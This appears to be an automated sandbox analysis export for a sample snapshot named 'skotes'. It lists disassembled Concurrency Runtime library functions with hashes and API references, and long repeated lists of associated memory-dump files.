Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afd250d5386a90a0c3da3644cdb06c57681676602fa2b600ffa3b24d0694be90
Instruction ID: 8510114bb0f051bb1315dcb32c033c5ef6e38359e4752a7ea1e1f6021a93bc3a
Opcode Fuzzy Hash: afd250d5386a90a0c3da3644cdb06c57681676602fa2b600ffa3b24d0694be90
Instruction Fuzzy Hash: 8151B0B2A01706CBDB19CF98D8957AEB7F2FB48315F24866AD406EB394D374A940CF50

Function 0060F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0060F2BB

Strings

pEvents, xrefs: 0060F2B3

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 3f266b2106f7a61f8592e948b1ce9f64cd952f5ab4a2abf1c26d7deb48c29525
Instruction ID: 381e52523c223c89108167029d9e15472ed34e11f1620f6a4c85905887026174
Opcode Fuzzy Hash: 3f266b2106f7a61f8592e948b1ce9f64cd952f5ab4a2abf1c26d7deb48c29525
Instruction Fuzzy Hash: DF818C31D802199BCF29DFE8C981BEFB7B6AF15310F144469E401A77C2DB75AA46CB90

Function 006226D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006226E3

Part of subcall function 006224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00622504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00622704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00622711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0062275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006227E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006227F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00622846

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: ae4b1a27a22844c15edd3faebbb9dc7b65cc0ec66df0d816028f785231c35867
Instruction ID: 0dc395f7d52568cddf563b65fa0d698e5040918ec44bd15e164d5a308eec5aa1
Opcode Fuzzy Hash: ae4b1a27a22844c15edd3faebbb9dc7b65cc0ec66df0d816028f785231c35867
Instruction Fuzzy Hash: E9819B3090466ABBDF169F54E9A1BFE7BB3AF05304F044098EC412A352C7368D69DFA1

Function 00622970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00622982

Part of subcall function 006224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00622504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006229A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006229B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006229FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00622AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00622AD8

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 820b6c6eb23eefb1f51f268f99d4022cc9b9ad91f09081adafc9cd28eee08596
Instruction ID: a1adc24982cbc2de2ce34a37e42bee00c8fc6af7f037846cd4fa5cdb2abd5988
Opcode Fuzzy Hash: 820b6c6eb23eefb1f51f268f99d4022cc9b9ad91f09081adafc9cd28eee08596
Instruction Fuzzy Hash: C0719A3090066AABDF15CF54E8A1AFEBBB3AF55308F044098EC416B392C7319D56DF61

Function 00612832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00612876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006128DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00612913

Part of subcall function 006107ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0061080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00612993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006129DB

Part of subcall function 006107C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006107DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006129EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00612A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00612A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00612A7E

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: b7a68110c0e6e0e95c401d0c0203f5512c58de8a03d317ca4719a7a1e27e5f2c
Instruction ID: eea839f2d53a83b7c22a2ecbde65f4ebf0dcca8e2c76e0e53c0733dff1782474
Opcode Fuzzy Hash: b7a68110c0e6e0e95c401d0c0203f5512c58de8a03d317ca4719a7a1e27e5f2c
Instruction Fuzzy Hash: 85819931A006579BCB18DFA9D8B85EDBBB3BF48301F28442DD446A7390E730A9D5CB94

Function 006169DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00616A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00616A51
List.LIBCONCRT ref: 00616A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00616A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00616AB9
List.LIBCONCRT ref: 00616AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00616B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00616B20
List.LIBCONCRT ref: 00616B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00616B68

Part of subcall function 00615EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00615EF7
Part of subcall function 00615EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00615F09

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
